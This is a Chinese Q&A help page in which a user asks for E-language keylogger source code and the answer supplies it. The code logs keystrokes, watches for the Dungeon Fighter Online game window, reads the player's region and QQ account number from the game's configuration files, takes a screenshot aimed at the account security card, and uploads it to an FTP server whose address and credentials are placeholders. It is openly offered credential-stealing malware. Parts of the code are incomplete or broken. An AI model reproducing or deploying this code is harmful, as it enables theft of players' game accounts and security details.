求大神给个易语言键盘记录器源码、
来源:学生作业帮助网 编辑:作业帮 时间:2024/08/31 03:58:32
求大神给个易语言键盘记录器源码、
求大神给个易语言键盘记录器源码、
求大神给个易语言键盘记录器源码、
要一个 键盘记录_模块.ec 易语言的控件有一个编辑框,2个按钮,3个时钟!3个时钟的名字要改一下“判断开始记录” “记录键盘” “结束检查时钟”
.版本 2
.程序集 窗口程序集1
.程序集变量 数组, 文本型, , "0"
.程序集变量 记事本, 文本型
.程序集变量 记录文本, 文本型
.程序集变量 账号信息, 文本型
.程序集变量 文件名, 文本型
.程序集变量 FTP路径, 文本型
.程序集变量 路径, 文本型
.子程序 _按钮2_被单击
判断开始记录.时钟周期 = 1000
记录键盘.时钟周期 = 0
结束检查时钟.时钟周期 = 0
.子程序 _判断开始记录_周期事件
.子程序 _记录键盘_周期事件
记录文本 = 记事本 + 获得按键 ()
.子程序 __周期事结束检查时钟_周期事件
.局部变量 a, 整数型
a = 0
数组=取所有窗口列表()
.计次循环首 (取数组成员数 (数组),已经运行)
.如果(寻找文本(取窗口标题(到整数(数组[已经运行])),“地下城与勇士”,真)< 0)
a = 1
.否则
a = 0
跳出循环 ()
.如果结束
.计次循环尾 ()
.如果真 (a = 1)
记录键盘.时钟周期=0
读账号信息()
记录文本 = “”
判断开始记录.时钟周期=1000
结束检查时钟.时钟周期=0
.如果真结束
.子程序 读账号信息
.局部变量 账号, 文本型
.局部变量 区, 文本型
区 = 读配置项 (路径 + “UserSetting.ini”, “ServerSelection”, “LastSelectName”, )
账号 = 读配置项 (路径 + “config/Info.ini”, “Public”, “LastQQUin”, )
编辑框1.内容 = 区 + “----” + 账号 + “-----” + 记录文本 + #换行符
.子程序 取进程路径, 文本型
.子程序 _按钮1_被单击
.局部变量 截取密保卡, 字节型
截取密保卡 = 快照 (, , )
写到文件 (“D\DNF\1.jpg”, 截取密保卡)
.如果(连接FTP服务器(“FTP控件IP地址”,“FTP账号”,“FTP密码”,21,)=真)
信息框 (“FTP服务器连接成功”, 0, )
.否则
信息框 (“FTP服务器连接失败”, 0, )
返回 ()
.如果结束
FTP路径=FTP取现行目录()+“/123.jpg”
.如果(FTP文件上传(“D\DNF\1.jpg”,“DNF\520.jpg”)=真)
信息框 (“FTP文件上传成功”, 0, “恭喜”)
.否则
信息框 (“FTP文件上传失败”, 0, “注意”)
.如果结束
断开FTP服务器()